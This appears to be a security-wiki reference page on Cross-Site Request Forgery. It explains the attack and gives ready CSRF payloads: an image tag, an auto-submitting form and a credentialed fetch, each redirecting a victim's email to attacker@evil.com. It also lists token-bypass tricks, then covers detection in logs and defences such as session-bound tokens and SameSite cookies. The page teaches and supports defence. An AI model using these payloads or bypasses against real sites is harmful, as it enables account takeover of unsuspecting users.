the_open_door
coffee
ESEN
← Back to index

Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) forces an authenticated victim's browser to send a request she did not intend, abusing the fact that the browser automatically attaches the session cookies to any request to the domain, no matter where it originates. If an action with side effects (change the email, transfer money, create an admin) fires with the session alone and no unpredictable token, an attacker's page can trigger it on the victim's behalf just by getting her to visit a page.

The payload is a page that sends the request to the target application. For a GET, an image is enough; for a POST, a form that auto-submits with JavaScript:

<!-- GET CSRF -->
<img src="https://app.example.com/account/email?new=attacker@evil.com">

<!-- POST CSRF: auto-submitting form -->
<form action="https://app.example.com/account/email" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit()</script>

The victim, already authenticated on app.example.com, visits the attacker's page; their browser attaches the session cookie and the application processes the change as legitimate. CSRF is often chained with a CORS misconfiguration or an XSS to bypass partial defences.

Variants and token bypass

When there is a partial defence, try these evasions:

# token present but NOT validated: drop the parameter or leave it empty
POST /account/email   (without csrf_token=...)
csrf_token=
# ANOTHER (attacker) account's token is often accepted (not tied to the session)
csrf_token=<attacker-token>
# change the method if the token is only checked on POST
GET /account/email?email=attacker@evil.com
# method override to smuggle a POST as GET/form
POST with _method=PUT  or  X-HTTP-Method-Override: PUT
<!-- CSRF with a JSON body via fetch (if the API accepts text/plain and needs no preflight) -->
<script>
fetch('https://app.example.com/api/email',{method:'POST',credentials:'include',
  headers:{'Content-Type':'text/plain'},body:'{"email":"attacker@evil.com"}'})
</script>

If the cookie is SameSite=Lax, a top-level navigation GET still sends it: an <a>/redirect to a GET action may still work even if the cross-site POST does not.

Requirements. The target action must (1) produce a state change based only on the session cookie (no anti-CSRF token nor custom header that a cross-site page cannot set) and (2) be reachable with a request the browser sends automatically. Cookies with SameSite=Lax/Strict or the requirement of a token break the requirement.

How to detect it. In the log, the signature is a side-effecting request whose Referer/Origin does not belong to your own domain (it comes from the attacker's site) and lacks the expected anti-CSRF token, often in bursts if the campaign reaches several victims. State-changing requests with an external Origin are the direct alert.

Defence. Require an unpredictable, session-bound anti-CSRF token on every side-effecting action, mark session cookies SameSite=Lax or Strict, check Origin/Referer on the server, and do not use GET for state-changing operations. It relates to CORS misconfiguration and to the session handling of Session Fixation.

ToolsOWASP ZAP